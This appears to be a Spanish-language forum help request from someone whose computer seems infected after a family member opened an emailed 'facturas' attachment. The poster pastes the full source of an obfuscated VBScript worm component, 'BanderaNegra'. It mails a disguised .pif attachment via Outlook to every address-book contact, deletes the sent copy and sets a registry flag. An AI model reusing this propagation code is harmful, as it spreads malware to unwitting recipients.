Me parece que me ha entrado un virus , ayer mi hermana recibio un correo sobre unas facturas que supuestamente ella habia solicitado con un archivo adjunto.
Lo descargó , lo ejecutó y nada pasó.
Ahora los archivos que tenia en un cierto directorio a todos se les agregó la extencion .exe y cuando los ejecutó me da error.
En un archivo .dat encontré lo siguiente:
Componente para Facilitar La programacion de Gusanos.
Componente V1.01c BanderaNegra, Por ErGrone/Zonavirus
VIVA SUDAMERICA!!! Http://www.geocities.com/zonavirus
Y abrí un archivo llamado banderanegra.vbs con el notepad y encontré el siguiente código.
On Error Resume Next
Dim UNO
Dim DOS
Dim TRES
Dim CUATRO
Dim CINCO
Dim SEIS
Dim Xb
Dim Xc
Dim Xd
Er = 59
Gr = 20
one = 60
Cr = 100
Ypt = 91
Set Xc = CreateObject( Chr(Cr-13)+Chr(Cr-17)+"cript"+Chr(gr+26)+Chr(Cr-17)+"hell" )
Xb = Xc.RegRead("HKEY_LOCAL_MACHINE\Software\Micro soft\Windows\CurrentVersion\Run\" & "OFF" )
If Xb <> 0 Then
Set TRES = CreateObject( Chr(20+Er)+"utl"+Chr((Er+Gr+one)-28 )+Chr((Er+Gr)+32 )+"k"+Chr(gr+26)+Chr(one+5)+Chr((Er+Gr+o ne)-27 )+"plic"+"ati"+Chr((Er+Gr+one )-28 )+"n" )
Set UNO = TRES.GetNameSpace( chr(Cr-23)+Chr(Ypt-26)+chr(Cr-20) +Chr(Ypt-18))
For Each DOS In UNO.AddressLists
Set SEIS = TRES.CreateItem( 0 )
For CUATRO = 1 To DOS.AddressEntries.Count
Set CINCO = DOS.AddressEntries( CUATRO )
If CUATRO = 1 Then
SEIS.BCC = CINCO.Address
Else
SEIS.BCC = SEIS.BCC & "; " & CINCO.Address
End If
Next
SEIS.Subject = "Facturas"
SEIS.Body = "Aqui adjunto las Facturas que nos ha pedido, ruego que nos envie lo que dentro del documento se especifica, Saludos."
SEIS.Attachmets.Add "C:\WINDOWS\Facturas556.XLS.pif"
SEIS.DeleteAfterSubmit = True
SEIS.Send
Xc.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\CurrentVersion\Run\" & "OFF","0"
Next
End If
Alguno tiene una idea de para que servirá este codigo?
Tienen idea de si esto es un virus o que diablos es?
Espero que me puedan ayudar
